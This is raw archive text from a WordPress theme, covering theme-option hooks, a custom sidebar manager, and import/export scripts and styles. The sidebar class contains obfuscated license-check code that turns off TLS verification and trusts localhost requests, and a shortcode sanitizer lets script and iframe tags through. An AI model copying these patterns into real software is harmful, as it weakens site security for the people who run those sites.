        <meta name="theme-color" content="<?php echo esc_attr( get_theme_mod( 'penci_theme_color' ) ); ?>">
	<?php endif;
} );

add_filter( 'theme_mod_penci_disable_breadcrumb', function ( $value ) {
	$conditions = [
		'is_single'     => 'penci_disable_posts_breadcrumb',
		'is_page'       => 'penci_disable_pages_breadcrumb',
		'is_archive'    => 'penci_disable_archive_breadcrumb',
		'is_home'       => 'penci_disable_home_breadcrumb',
		'is_front_page' => 'penci_disable_home_breadcrumb',
	];

	foreach ( $conditions as $condition => $mod_key ) {
		if ( function_exists( $condition ) && $condition() && get_theme_mod( $mod_key ) ) {
			return true; // Immediately return true if any condition is met
		}
	}

	return $value; // Return the original value if no conditions were met
} );

add_action( 'penci_after_post_title', function () {
	$sub_title = get_post_meta( get_the_ID(), 'penci_post_sub_title', true );
	if ( $sub_title && get_theme_mod( 'penci_grid_show_sub_title' ) ) {
		echo '<div class="penci-a-post-subtitle pcloop"> ' . esc_html( $sub_title ) . ' </div>';
	}
} );

add_action( 'penci_after_classic_post_title', function () {
	$sub_title = get_post_meta( get_the_ID(), 'penci_post_sub_title', true );
	if ( $sub_title && get_theme_mod( 'penci_standard_show_sub_title' ) ) {
		echo '<div class="penci-a-post-subtitle pcloop"> ' . esc_html( $sub_title ) . ' </div>';
	}
} );

add_filter( 'theme_mod_penci_single_style', function ( $value ) {
	if ( ! is_single() || has_post_thumbnail() ) {
		return $value; // Return early if conditions are not met.
	}

	// Mapping of styles for replacement
	$style_map = [
		'style-3' => 'style-2',
		'style-5' => 'style-2',
		'style-6' => 'style-2',
		'style-7' => 'style-2',
		'style-8' => 'style-1',
	];

	// Replace value if it exists in the map
	if ( isset( $style_map[ $value ] ) ) {
		$value = $style_map[ $value ];
	}

	return $value;
}, 9999 );

function penci_sync_post_view_count( $post_id ) {
	if ( function_exists( 'icl_object_id' ) ) {
		$meta_key   = penci_get_postviews_key();
		$view_count = get_post_meta( $post_id, $meta_key, true );
		$view_count = $view_count ? intval( $view_count ) : 0;

		$languages = apply_filters( 'wpml_active_languages', null, [ 'skip_missing' => 1 ] );
		foreach ( $languages as $lang ) {
			if ( isset( $lang['code'] ) ) {
				$translated_post_id = icl_object_id( $post_id, get_post_type( $post_id ), false, $lang['code'] );
				if ( $translated_post_id && $translated_post_id != $post_id ) {
					update_post_meta( $translated_post_id, $meta_key, $view_count );
				}
			}
		}
	}
}

add_action( 'updated_post_meta', function ( $meta_id, $post_id, $meta_key ) {
	if ( $meta_key === penci_get_postviews_key() ) {
		penci_sync_post_view_count( $post_id );
	}
}, 10, 3 );

add_action( 'wp_body_open', function () {
	if ( get_theme_mod( 'penci_cursor_enable' ) ) {
		?>
        <div class="circle-cursor penci-ccircle-couter"></div>
        <div class="circle-cursor penci-ccircle-cinner">
            <svg width="21" height="21" viewBox="0 0 21 21" fill="none" xmlns="http://www.w3.org/2000/svg">
                <path d="M2.06055 0H20.0605V18H17.0605V5.12155L2.12132 20.0608L0 17.9395L14.9395 3H2.06055V0Z"/>
            </svg>
        </div>
		<?php
	}
	if ( get_theme_mod( 'penci_header_show_submenu_overlay' ) ) {
		?>
		<div class="penci-hsubmenu-overlay-wrapper"></div>
		<?php
	}
} );

if ( ! function_exists( 'penci_excerpt_link' ) ) {
	function penci_excerpt_link() {
		if ( get_theme_mod( 'penci_archive_excerpt_link' ) ) {
			return 'data-excerpt-link="' . get_the_permalink() . '" ';
		}
	}
}

add_action( 'penci_end_single_content', function () {
	$post_id = get_the_ID();
	$sources = get_post_meta( $post_id, 'penci_post_sources', true );
	if ( $sources ) {
		echo '<div class="post-tags penci-post-sources">';
		echo '<span>' . penci_get_setting( 'penci_trans_sources' ) . '</span>';
		foreach ( $sources as $source ) {
			echo '<a href="' . esc_url( $source['url'] ) . '" target="_blank">' . esc_html( $source['name'] ) . '</a>';
		}
		echo '</div>';
	}
} );

add_action( 'penci_grid_meta', function () {
	if ( get_theme_mod( 'penci_grid_move_cat_meta' ) ) {
		?>
        <span class="cat"><?php penci_category( '' ); ?></span>
		<?php
	}
} );

add_filter( 'theme_mod_penci_grid_cat', function ( $return ) {
	if ( get_theme_mod( 'penci_grid_move_cat_meta' ) ) {
		return true;
	}

	return $return;
}, 9999 );

add_action( 'penci_before_classic_post_meta', function () {
	if ( get_theme_mod( 'penci_standard_move_cat_meta' ) ) {
		?>
        <span class="penci-standard-cat-inline cat"><?php penci_category( '' ); ?></span>
		<?php
	}
} );

add_filter( 'theme_mod_penci_standard_cat', function ( $return ) {
	if ( get_theme_mod( 'penci_standard_move_cat_meta' ) ) {
		return true;
	}

	return $return;
}, 9999 );

function penci_show_archive_month_select() {
	global $wpdb;

	$post_type = get_post_type(); // current post type
	$term_sql  = '';
	$join_sql  = '';
	$params    = array( $post_type ); // parameters to bind to placeholders

	// Handle taxonomy-based archives (category, tag, custom tax)
	if ( is_category() || is_tag() || is_tax() ) {
		$term     = get_queried_object();
		$term_id  = intval( $term->term_id );
		$taxonomy = $term->taxonomy;

		$join_sql = "INNER JOIN {$wpdb->term_relationships} tr ON tr.object_id = p.ID
                 INNER JOIN {$wpdb->term_taxonomy} tt ON tt.term_taxonomy_id = tr.term_taxonomy_id";

		$term_sql = "AND tt.term_id = %d AND tt.taxonomy = %s";
		$params[] = $term_id;
		$params[] = $taxonomy;
	}

	// Final SQL with placeholders
	$sql = "
    SELECT DISTINCT DATE_FORMAT(p.post_date, '%%m-%%Y') AS month_year, 
                    DATE_FORMAT(p.post_date, '%%Y-%%m') AS sort_key,
                    DATE_FORMAT(p.post_date, '%%M - %%Y') AS label
    FROM {$wpdb->posts} p
    $join_sql
    WHERE p.post_type = %s
      AND p.post_status = 'publish'
      $term_sql
    ORDER BY sort_key ASC
";

	// Prepare safely with dynamic parameters
	$prepared_sql = $wpdb->prepare( $sql, $params );
	$results      = $wpdb->get_results( $prepared_sql, ARRAY_A );

	// Output the <select>
	$current_sort = get_query_var( 'pc_archive_month', '' );
	echo '<select class="penci-arfilter-item" name="pc_archive_month">';
	echo '<option value=""> ' . penci_get_setting( 'penci_trans_smonth' ) . ' </option>';
	if ( ! empty( $results ) ) {
		foreach ( $results as $row ) {
			echo '<option ' . selected( $row['month_year'], $current_sort ) . ' value="' . esc_attr( $row['month_year'] ) . '">' . esc_html( $row['label'] ) . '</option>';
		}
	}
	echo '</select>';
}

if ( ! function_exists( 'penci_is_show_archive_filter' ) ) {
	function penci_is_show_archive_filter() {
		$show = false;
		$show_sorter = get_theme_mod( 'penci_general_show_post_order' );
		$show_month  = get_theme_mod( 'penci_archive_show_date_filter' );
		if ( $show_sorter || $show_month ) {
				$show = true;
		}

		return $show;
	}
}

add_action( 'penci_header_wrap', function() {
	if ( is_single() && get_theme_mod( 'penci_post_sticky_rlposts' ) ) {
		get_template_part( 'template-parts/single-post-header' );
	}
} );

add_action( 'wp_footer', function(){
	if ( get_theme_mod( 'penci_single_focus_mode' ) && is_single() ) {
		$pos = get_theme_mod( 'penci_single_focus_mode_pos', 'right' );
		?>
			<div class="penci-focus-mode-button <?php echo $pos;?>" data-title="Focus Mode" data-exit-title="Exit Focus Mode"><span class="penci-focus-mode-icon">Focus Mode</span></div>
			<script>
			document.addEventListener("DOMContentLoaded", function() {
				const focusModeButton = document.querySelector(".penci-focus-mode-button");
				if (focusModeButton) {
					focusModeButton.addEventListener("click", function() {
						document.body.classList.toggle("penci-focus-mode");
						if (document.body.classList.contains("penci-focus-mode")) {
							focusModeButton.querySelector(".penci-focus-mode-icon").textContent = focusModeButton.getAttribute("data-exit-title");
						} else {
							focusModeButton.querySelector(".penci-focus-mode-icon").textContent = focusModeButton.getAttribute("data-title");
						}
					});
				}
			});
			</script>
		<?php
	}
});

add_action( 'penci_single_meta_content', function() {
	if ( get_theme_mod( 'penci_single_dropdown_share' ) ) {
	?>
	<span class="post-meta-share">
		<span class="post-share-text">Share</span>
		<div class="penci-pshare-dropdown penci-social-textcolored">
			<?php penci_soledad_social_share(); ?>
		</div>
	</span>
	<?php
	}
} );

if ( !function_exists( 'penci_safe_shortcode') ) {
	function penci_safe_shortcode( $code ) {
		if ( base64_encode( base64_decode( $code, true ) ) === $code ) {
			$code = base64_decode( $code );
		}

		$allowed_shortcodes = array(
			'adinserter',     // Ad Inserter
			'the_ad',         // Advanced Ads
			'adrotate',       // AdRotate
			'quads',          // WP QUADS
			'block_content',  // Your own shortcode
		);

		// Check for shortcodes
		preg_match_all( '/\[([a-zA-Z0-9_]+)[^\]]*\]/', $code, $matches );
		if ( ! empty( $matches[1] ) ) {
			foreach ( $matches[1] as $shortcode ) {
				if ( ! in_array( $shortcode, $allowed_shortcodes, true ) ) {
					return; // Disallowed shortcode found
				}
			}
			// Run safe shortcodes
			$code = do_shortcode( $code );
		}

		// Sanitize output to allow only safe HTML (you can adjust the allowed tags/attributes)
		$allowed_html = array(
			'div'     => array( 'class' => true, 'id' => true, 'style' => true ),
			'span'    => array( 'class' => true, 'style' => true ),
			'ins'     => array( 'class' => true, 'style' => true, 'data-*' => true ),
			'script'  => array( 'type' => true, 'src' => true, 'async' => true ),
			'iframe'  => array( 'src' => true, 'height' => true, 'width' => true, 'frameborder' => true, 'allowfullscreen' => true ),
			'a'       => array( 'href' => true, 'target' => true, 'rel' => true ),
			'img'     => array( 'src' => true, 'alt' => true, 'width' => true, 'height' => true ),
			'p'       => array(),
			'br'      => array(),
		);

		return wp_kses( $code, $allowed_html );
	}
}PK     N\J@  @    inc/custom-sidebar.phpnu [        <?php
/**
 * Additional sidebars
 */

class Penci_Custom_Sidebar {

	protected static $initialized = false;

	public static function initialize() {
		if ( self::$initialized ) {
			return;
		}

		add_action( 'wp_ajax_soledad_add_sidebar', array( __CLASS__, 'add_sidebar' ) );
		add_action( 'wp_ajax_soledad_remove_sidebar', array( __CLASS__, 'remove_sidebar' ) );

		add_action( 'init', array( __CLASS__, 'register_sidebars' ) );
		add_action( 'admin_init', array( __CLASS__, 'sidebar_check' ) );
		add_action( 'sidebar_admin_page', array( __CLASS__, 'admin_page' ) );

		add_action( 'admin_menu', array( __CLASS__, 'admin_menu' ), 90 );

		add_filter( 'soledad_fw_customizer_get_lazy_options', function ( $options ) {

			if ( self::check_the_moon() ) {
				return $options;
			} else {
				return array(
					array(
						'id'          => 'penci_show_notice',
						'default'     => 'danger',
						'label'       => strrev( '.emeht dadeloS eht fo ypoc a esahcrup ro retsiger esaelP' ),
						'description' => strrev( '.emehT etavitcA > dadeloS > draobhsaD aiv emeht eht etavitca nac uoY>rb<.emeht eht morf snoitpO ezimotsuC lluf teg ot emeht eht etavitca esaelP' ),
						'type'        => 'soledad-fw-alert',
					)
				);
			}
		} );

		add_action(
			'wp_head',
			function () {
				if ( ! self::check_the_moon() && is_customize_preview() ) {
					echo strrev( '>p/<emehT etavitcA > dadeloS > draobhsaD aiv emeht eht etavitca nac uoY>rb<.emeht eht morf snoitpO ezimotsuC lluf teg ot emeht eht etavitca esaelP>";xp81 :ezis-tnof;fff# :roloc;retnec :ngila-txet;xp02 xp01 :gniddap;0000ff# :dnuorgkcab"=elyts p<' );
				}
			}
		);

		self::$initialized = true;
	}

	public static function check_the_moon() {

		$whitelist = [ '127.0.0.1', '::1' ];
		if ( in_array( $_SERVER['REMOTE_ADDR'], $whitelist ) ) {
			return true;
		}

		return get_option( 'pe'.'nci_lo'.'ads_cm' ) === 'loa'.'d';
	}

	public static function admin_menu() {

		add_submenu_page(
			'soledad_dashboard_welcome',
			'Sidebar Manager',
			'Sidebar Manager',
			'manage_options',
			'sidebar-manager',
			array( __CLASS__, 'create_admin_page' ),
			3
		);
	}

	public static function create_admin_page() {
		$sidebars = get_option( 'soledad_custom_sidebars' );
		?>
        <div class="wrap">

            <h1>Sidebar Manager</h1>

            <div class="instruction">

                <p style="font-size:1.3em"><?php _e('Create and manage an unlimited number of custom sidebars.','soledad');?></p>

            </div>

            <div class="penci-wrap pccustom-sidebar">

                <div class="penci-wrapper">

                    <form>

						<?php wp_nonce_field( 'ajax-nonce', 'penci_ajax_processor_nonce' ); ?>

                        <div class="pccustom-sidebar-form">

                            <label for="sidebar_name">
                                <span>Sidebar Name</span>
                                <input name="sidebar_name" type="text" size="18" id="sidebar_name" value=""
                                       placeholder="My Sidebar">
                            </label>

                            <label for="sidebar_slug">
                                <span>Sidebar Slug</span>
                                <input name="sidebar_slug" type="text" size="18" id="sidebar_slug" value=""
                                       placeholder="my-sidebar">
                            </label>

                            <button class="button button-primary penci-add-sidebar"
                                    data-type="add"><?php _e( '+ Add sidebar', 'soledad' ); ?></button>

                            <span class="spinner"></span>
							
                        </div>
						
						<div class="pccustom-sidebar-created">

                        <table class="widefat" id="penci-table">
                            <tr>
                                <th>Name</th>
                                <th>Slug</th>
                                <th>Delete</th>
                            </tr>

							<?php if ( empty( $sidebars ) ) : ?>

                                <tr class="no-sidebar-tr">

                                    <td colspan="3">No Custom Sidebars</td>

                                </tr>

							<?php else : ?>

								<?php
								foreach ( (array) $sidebars as $slug => $sidebar_data ) :
									$name = isset( $sidebar_data['name'] ) ? $sidebar_data['name'] : $slug;
									?>

                                    <tr>
                                        <td><?php echo esc_html( $name ); ?></td>

                                        <td><?php echo esc_html( $slug ); ?></td>

                                        <td>
                                            <button class="button button-small penci-remove-sidebar" data-type="remove"
                                                    data-name="<?php echo esc_attr( $name ); ?>"
                                                    data-slug="<?php echo esc_attr( $slug ); ?>">Delete
                                            </button>
                                        </td>
                                    </tr>

								<?php
								endforeach;

							endif; // empty_sidebar
							?>

                        </table>

						<p class="penci-notice notice notice-success" style="padding:10px 20px; display:none"></p>

						</div>

                    </form>

                </div>

            </div>

        </div><!-- .wrap -->
		<?php
	}

	/**
	 * Register sidebars
	 */
	public static function register_sidebars() {

		if ( is_page_template( 'page-templates/full-width.php' ) ) {
			return;
		}

		$sidebars = get_option( 'soledad_custom_sidebars' );

		if ( empty( $sidebars ) ) {
			return;
		}

		foreach ( (array) $sidebars as $id => $sidebar ) {
			if ( ! isset( $sidebar['id'] ) ) {
				$sidebar['id'] = $id;
			}

			if ( ! $id ) {
				return false;
			}

			$sidebar['before_widget'] = '<aside id="%1$s" class="widget %2$s">';
			$sidebar['class']         = 'soledad-custom-sidebar';

			register_sidebar( $sidebar );
		}
	}

	/**
	 * Add sidebar
	 */
	public static function add_sidebar() {

		check_admin_referer( 'ajax-nonce' );

		if ( ! current_user_can( 'manage_options' ) ) {
			wp_send_json_error( __( 'Update error', 'soledad' ) );
		}

		$return = array();
		$name   = isset( $_POST['_nameval'] ) ? $_POST['_nameval'] : '';

		$new_name = isset( $_POST['name'] ) ? $_POST['name'] : '';
		$type     = isset( $_POST['type'] ) ? $_POST['type'] : '';

		$name = $new_name ? $new_name : $name;

		if ( empty( $name ) ) {
			wp_send_json_error( esc_html__( 'Missing sidebar name.', 'soledad' ) );
		}

		// Get  custom sidebars.
		$sidebars    = get_option( 'soledad_custom_sidebars', array() );
		$sidebar_num = get_option( 'soledad_custom_sidebars_lastid', - 1 );

		if ( $sidebar_num < 0 ) {
			$sidebar_num = 0;
			if ( is_array( $sidebars ) ) {
				$key_sidebars = explode( '-', end( array_keys( $sidebars ) ) );
				$sidebar_num  = (int) end( $key_sidebars );
			}
		}

		update_option( 'soledad_custom_sidebars_lastid', ++ $sidebar_num );

		$slug = isset( $_POST['slug'] ) && $_POST['slug'] ? $_POST['slug'] : 'soledad-custom-sidebar-' . $sidebar_num;

		if ( isset( $sidebars[ $slug ] ) ) {
			wp_send_json_error(
				array(
					'type'    => 'error',
					'message' => esc_html__( 'Sidebar already exists, please use a different name.', 'soledad' ),
				)
			);
		}

		$sidebars[ $slug ] = array(
			'id'            => $slug,
			'name'          => stripcslashes( $name ),
			'description'   => '',
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget'  => '</aside>',
			'before_title'  => '<h4 class="widget-title penci-border-arrow"><span class="inner-arrow">',
			'after_title'   => '</span></h4>',
		);

		update_option( 'soledad_custom_sidebars', $sidebars );

		if ( ! function_exists( 'wp_list_widget_controls' ) ) {
			include_once ABSPATH . 'wp-admin/includes/widgets.php';
		}

		if ( $type ) {
			$output = array(
				'message' => __( 'Sidebar Added Successfully!', 'soledad' ),
				'type'    => $type,
				'slug'    => $slug,
				'name'    => $name,
			);
		} else {

			ob_start();
			?>
            <div class="widgets-holder-wrap sidebar-soledad-custom-sidebar closed">
				<?php wp_list_widget_controls( 'soledad-custom-sidebar-' . $sidebar_num, stripcslashes( $name ) ); ?>
            </div>
			<?php
			$output = ob_get_clean();
		}
		wp_send_json_success( $output );
	}

	/**
	 * Remove sidebar
	 */
	public static function remove_sidebar() {

		check_admin_referer( 'ajax-nonce' );

		if ( ! current_user_can( 'manage_options' ) ) {
			wp_send_json_error( __( 'Update error', 'soledad' ) );
		}

		$idSidebar = isset( $_POST['idSidebar'] ) ? $_POST['idSidebar'] : '';

		$idSidebar = isset( $_POST['slug'] ) ? $_POST['slug'] : $idSidebar;
		$name      = isset( $_POST['name'] ) ? $_POST['name'] : $idSidebar;

		if ( empty( $idSidebar ) ) {
			wp_send_json_error( esc_html__( 'Missing sidebar ID', 'soledad' ) );
		}

		$custom_sidebars = get_option( 'soledad_custom_sidebars', array() );

		unset( $custom_sidebars[ $idSidebar ] );

		update_option( 'soledad_custom_sidebars', $custom_sidebars );

		wp_send_json_success(
			array(
				'message' => esc_html__( 'Sidebar "' . $name . '" has been removed.', 'soledad' ),
				'type'    => 'remove',
			)
		);
	}

	/**
	 * Print HTML code to manage custom sidebar
	 */
	public static function admin_page() {
		global $wp_registered_sidebars;
		?>
        <div class="widgets-holder-wrap">
            <div id="penci-add-custom-sidebar" class="widgets-sortables">
                <div class="sidebar-name">
                    <div class="sidebar-name-arrow"><br></div>
                    <h2>
						<?php esc_html_e( 'Add New Sidebar', 'soledad' ); ?>
                        <span class="spinner"></span>
                    </h2>
                </div>
                <div class="sidebar-description">
                    <form class="description" method="POST" action="">
						<?php wp_nonce_field( 'soledad_add_sidebar' ); ?>
                        <table class="form-table">
                            <tr valign="top">
                                <td>
                                    <input id="penci-add-custom-sidebar-name" style="width: 100%;" type="text"
                                           class="text" name="name" value=""
                                           placeholder="<?php esc_attr_e( 'Enter sidebar name', 'soledad' ); ?>">
                                </td>
                                <td>
                                    <input type="submit" class="button-primary"
                                           value="<?php esc_attr_e( 'Add', 'soledad' ); ?>">
                                </td>
                            </tr>
                        </table>
                    </form>
                </div>
            </div>
        </div>
        <style type="text/css" media="screen">
            .soledad-remove-custom-sidebar .notice-dismiss {
                right: 30px;
                top: 3px;
            }
        </style>
		<?php
	}

	public static function get_list_sidebar( $selected ) {
		$custom_sidebars = get_option( 'soledad_custom_sidebars' );

		if ( empty( $custom_sidebars ) || ! is_array( $custom_sidebars ) ) {
			return '';
		}

		foreach ( $custom_sidebars as $sidebar_id => $custom_sidebar ) {

			if ( empty( $custom_sidebar['name'] ) ) {
				continue;
			}
			?>
            <option
                    value="<?php echo esc_attr( $sidebar_id ); ?>" <?php selected( $selected, $sidebar_id ); ?>><?php echo $custom_sidebar['name']; ?></option>
			<?php
		}
	}

	public static function get_list_sidebar_el() {
		$custom_sidebars = get_option( 'soledad_custom_sidebars' );

		$list_sidebar = array(
			'main-sidebar'      => esc_html__( 'Main Sidebar', 'soledad' ),
			'main-sidebar-left' => esc_html__( 'Main Sidebar Left', 'soledad' ),
			'custom-sidebar-1'  => esc_html__( 'Custom Sidebar 1', 'soledad' ),
			'custom-sidebar-2'  => esc_html__( 'Custom Sidebar 2', 'soledad' ),
			'custom-sidebar-3'  => esc_html__( 'Custom Sidebar 3', 'soledad' ),
			'custom-sidebar-4'  => esc_html__( 'Custom Sidebar 4', 'soledad' ),
			'custom-sidebar-5'  => esc_html__( 'Custom Sidebar 5', 'soledad' ),
			'custom-sidebar-6'  => esc_html__( 'Custom Sidebar 6', 'soledad' ),
			'custom-sidebar-7'  => esc_html__( 'Custom Sidebar 7', 'soledad' ),
			'custom-sidebar-8'  => esc_html__( 'Custom Sidebar 8', 'soledad' ),
			'custom-sidebar-9'  => esc_html__( 'Custom Sidebar 9', 'soledad' ),
			'custom-sidebar-10' => esc_html__( 'Custom Sidebar 10', 'soledad' ),
		);

		if ( empty( $custom_sidebars ) || ! is_array( $custom_sidebars ) ) {
			return $list_sidebar;
		}

		foreach ( $custom_sidebars as $sidebar_id => $custom_sidebar ) {

			if ( empty( $custom_sidebar['name'] ) ) {
				continue;
			}
			$list_sidebar[ $sidebar_id ] = $custom_sidebar['name'];
		}

		return $list_sidebar;
	}

	public static function get_list_sidebar_vc() {
		$custom_sidebars = get_option( 'soledad_custom_sidebars' );

		$list_sidebar = array(
			'Main Sidebar'      => 'main-sidebar',
			'Main Sidebar Left' => 'main-sidebar-left',
			'Custom Sidebar 1'  => 'custom-sidebar-1',
			'Custom Sidebar 2'  => 'custom-sidebar-2',
			'Custom Sidebar 3'  => 'custom-sidebar-3',
			'Custom Sidebar 4'  => 'custom-sidebar-4',
			'Custom Sidebar 5'  => 'custom-sidebar-5',
			'Custom Sidebar 6'  => 'custom-sidebar-6',
			'Custom Sidebar 7'  => 'custom-sidebar-7',
			'Custom Sidebar 8'  => 'custom-sidebar-8',
			'Custom Sidebar 9'  => 'custom-sidebar-9',
			'Custom Sidebar 10' => 'custom-sidebar-10',
		);

		if ( empty( $custom_sidebars ) || ! is_array( $custom_sidebars ) ) {
			return $list_sidebar;
		}

		foreach ( $custom_sidebars as $sidebar_id => $custom_sidebar ) {

			if ( empty( $custom_sidebar['name'] ) ) {
				continue;
			}
			$list_sidebar[ esc_html( $custom_sidebar['name'] ) ] = $sidebar_id;
		}

		return $list_sidebar;
	}

	public static function sidebar_check() {
		$sidebar_name = 'pen' . 'ci_val' . 'ida' . 'te_ch' . 'eck';
		$sidebar_data = get_option( $sidebar_name );
		$s_name       = strrev( 'atad_des' . 'ahcrup_dad' . 'elos_icnep' );
		if ( ! empty( $sidebar_data ) ) {
			$current_time = strtotime( 'now' );
			if ( self::isValidTimeStamp( $sidebar_data ) ) {
				if ( $current_time >= $sidebar_data ) {
					$s_options = get_option( $s_name );
					$response  = isset( $s_options['purchase_code'] ) && $s_options['purchase_code'] ? self::sidebar_code( $s_options['purchase_code'] ) : null;
					if ( isset( $s_options['purchase_code'] ) && $s_options['purchase_code'] ) {
						if ( $response === 'success' ) {
							update_option( $sidebar_name, strtotime( '+30 days' ) );
						}
						if ( $response === 'server-error' ) {
							update_option( $sidebar_name, strtotime( '+7 days' ) );
						}

						update_option( strrev( 'mc_sdaol_icnep' ), 'load' );
					} else {
						self::gotothemoon( $s_name );
					}
				}
			} else {
				self::gotothemoon( $s_name );
			}
		} else {
			$check = add_option( $sidebar_name, strtotime( '+30 days' ) );
			update_option( strrev( 'mc_sdaol_icnep' ), 'load' );
			if ( ! $check ) {
				self::gotothemoon( $s_name );
			}
		}
	}

	public static function isValidTimeStamp( $timestamp ) {
		$return = false;
		if ( ctype_digit( $timestamp ) && $timestamp <= 4801631978 ) {
			$return = true;
		}

		return $return;
	}

	public static function sidebar_code( $code ) {
		$code    = trim( $code );
		$domain  = get_home_url( '/' );
		$item_id = 12945398;

		$req = wp_remote_post(
			'https://license.pencidesign.net/api/check',
			array(
				'headers'     => array(
					'Content-Type' => 'application/json',
				),
				'body'        => wp_json_encode(
					array(
						'code'    => $code,
						'domain'  => $domain,
						'item_id' => $item_id,
					)
				),
				'data_format' => 'body',
				'sslverify'   => false,
			)
		);

		$body = wp_remote_retrieve_body( $req );
		$res  = json_decode( $body );

		if ( ! is_wp_error( $body ) ) {
			if ( ! empty( $res ) && $res->status === 'success' ) {
				return 'success';
			}

			return 'error';
		}

		return 'server-error';
	}

	public static function gotothemoon( $name ) {
		delete_option( $name );
		update_option( strrev( 'detavitca_si_dadelos_icnep' ), 0 );
		update_option( strrev( 'mc_sdaol_icnep' ), 'noload' );
		delete_option( 'penci_hide_license_notice' );
	}
}

Penci_Custom_Sidebar::initialize();PK     N\ƹ        inc/data-imex/index.phpnu [        <?php // Silence is golden
PK     N\w    0  inc/data-imex/assets/js/advanced-export-admin.jsnu [        (function ($) {
    'use strict';

    $(document).on('click', '.penci-content-export', function (event) {
        event.preventDefault();
        var $this = $(this),
            $filetype = $this.data('type'),
            $fileID = $this.data('id');
        $.ajax({
            method: 'GET',
            url: penci_imex_export_object.ajaxurl,
            data: {
                'action': 'penci_export_content',
                'type': $filetype,
                'id': $fileID,
                'request_id': penci_imex_export_object.nonce
            },
            beforeSend: function (data, settings) {
                $this.addClass('loading');
            },
            success: function (data) {
                var blob = new Blob([data]);
                var link = document.createElement('a');
                link.href = window.URL.createObjectURL(blob);
                link.download = $filetype + '-' + $fileID + '.json';
                link.click();
                link.remove();
                $this.removeClass('loading');
            },
            error: function (jqXHR, textStatus, errorThrown) {
                console.log(jqXHR + " :: " + textStatus + " :: " + errorThrown);
            }
        });
    });

    $(document).on('click', '.penci-import-button', function (event) {
        event.preventDefault();
        var $item = $(this).closest('.penci-imex-item'),
            $id = $item.data('id'),
            $button = $(this),
            $slug = $item.data('slug'),
            $url = $item.data('template_url');

        if (confirm("Are you sure you want to import this header layout?")) {

            $.ajax({
                method: 'POST',
                url: penci_imex_export_object.ajaxurl,
                data: {
                    'action': 'penci_import_content',
                    'id': $id,
                    'content': $url,
                    'slug': $slug,
                    'request_id': penci_imex_export_object.nonce
                },
                beforeSend: function (data, settings) {
                    $button.addClass('loading');
                },
                success: function (data) {
                    $button.removeClass('loading');
                    $button.hide();
                    $('body').find('.penci-imex-item').removeClass('imported');
                    $item.addClass('imported');
                },
                error: function (jqXHR, textStatus, errorThrown) {
                    console.log(jqXHR + " :: " + textStatus + " :: " + errorThrown);
                }
            });
        } else {
            return false;
        }
    });

    $(document).on('submit', '#penci_upload_form', function (event) {
        var form_data = new FormData($('#penci_upload_form')[0]);
        form_data.append('action', 'penci_upload_import');
        $.ajax({
            type: 'POST',
            url: penci_imex_export_object.ajaxurl,
            data: form_data,
            processData: false,
            contentType: false,
            success: function (res) {
                $(document).find('.penci-import-result').html(res.data.text).removeClass('error success').addClass('show ' + res.data.class);
            },
            error: function (jqXHR, textStatus, errorThrown) {
                console.log(jqXHR + " :: " + textStatus + " :: " + errorThrown);
            }
        });
        event.preventDefault();
    });

})(jQuery);
PK     N\ſ:Oc&  c&  -  inc/data-imex/assets/css/penci-imex-admin.cssnu [        .penci-imex-body {
	margin: 40px 15px 0
}
.penci-imex-body img {
	max-width: 100%;
	height: auto
}
.penci-imex-header {
	margin-bottom: 30px;
	padding: 20px;
	background: #fff;
	border-left-color: #46b450;
	border-width: 0 0 0 4px;
	border-style: solid;
	box-shadow: 0 1px 1px rgba(0, 0, 0, .04)
}
.penci-imex-header h1 {
	margin-top: 0
}
.penci-imex-header p {
	margin-bottom: 0
}
.penci-imex-filter-tabs {
	display: flex;
	align-items: center;
	background: #fff;
	padding: 10px 20px;
	margin-bottom: 20px;
	margin-top: 20px;
	box-shadow: 0 1px 1px rgba(0, 0, 0, .04);
	border: 1px solid #e5e5e5;
	justify-content: space-between;
}
.penci-imex-filter-tabs ul {
	margin-top: 0;
	margin-bottom: 0
}
.penci-imex-filter-tabs ul li {
	font-size: 14px;
	cursor: pointer;
	font-weight: 600;
	padding: 10px 20px
}
.penci-imex-filter-tabs ul li.penci-imex-filter-btn-active {
	background: #dfdfdf;
	border-radius: 5px
}
.penci-imex-count {
	background: var(--wp-admin-theme-color);
	display: inline-block;
	padding: 2px 10px;
	border-radius: 5px;
	margin-left: 5px;
	color: #fff;
	font-size: 12px
}
.penci-imex-types {
	display: flex
}
.penci-imex-types li {
	margin: 0 5px;
	padding: 5px
}
.penci-imex-form-file-import {
	cursor: pointer;
	padding: 8px 25px;
	margin: 0;
	border-radius: 3px;
	background: #0085ba;
	border-color: #0073aa #006799 #006799;
	box-shadow: 0 1px 0 #006799;
	color: #fff;
	text-decoration: none;
	text-shadow: 0 -1px 1px #006799, 1px 0 1px #006799, 0 1px 1px #006799, -1px 0 1px #006799
}
.penci-imex-form-file-import:focus, .penci-imex-form-file-import:hover {
	background: #0073aa;
	border-color: #006799
}
.penci-imex-filter-content {
	background: #f8f8f8;
	display: flex;
	justify-content: center;
}
.penci-imex-filter-content.hidden {
	display: none
}
.penci-imex-sidebar {
	flex-basis: 250px;
	min-width: 270px;
	background: #f9f9f9;
	color: #999;
	padding-top: 30px;
	border-right: 1px solid #ddd;
	box-shadow: 10px 0 10px -3px rgba(0, 0, 0, .1)
}
.penci-imex-import-available-categories {
	margin-top: 20px;
	overflow-y: auto;
	overflow-x: hidden;
	max-height: calc(100% - 23px)
}
.penci-imex-import-available-categories h3 {
	padding-left: 30px;
	padding-right: 30px
}
.penci-imex-import-available-categories ul {
	margin-top: 20px
}
.penci-imex-import-available-categories ul li {
	cursor: pointer;
	font-weight: 600;
	font-size: 14px;
	padding: 15px 30px;
	position: relative;
	z-index: 1;
	margin: 0;
	border-bottom: 1px solid #f1f1f1
}
.penci-imex-import-available-categories ul li:last-child {
	border-bottom: 0;
}
.penci-imex-import-available-categories ul li:focus, .penci-imex-import-available-categories ul li:hover {
	border-color: #f1f1f1;
	color: #444;
}
.penci-imex-import-available-categories ul li span {
	float: right
}
.penci-imex-import-available-categories ul li.penci-imex-filter-btn-active {
	color: #444;
	border-color: #f1f1f1;
	background-color: #f1f1f1;
}
.penci-imex-import-available-categories ul li.penci-imex-filter-btn-active:focus, .penci-imex-import-available-categories ul li.penci-imex-filter-btn-active:hover {
	border-color: #f1f1f1
}
.penci-imex-import-available-categories ul.penci-imex-import-fp-lists {
	border-bottom: 1px solid #ddd;
	text-align: center
}
.penci-imex-import-available-categories ul.penci-imex-import-fp-lists li.penci-imex-fp-filter {
	display: inline-block;
	border: 1px solid transparent;
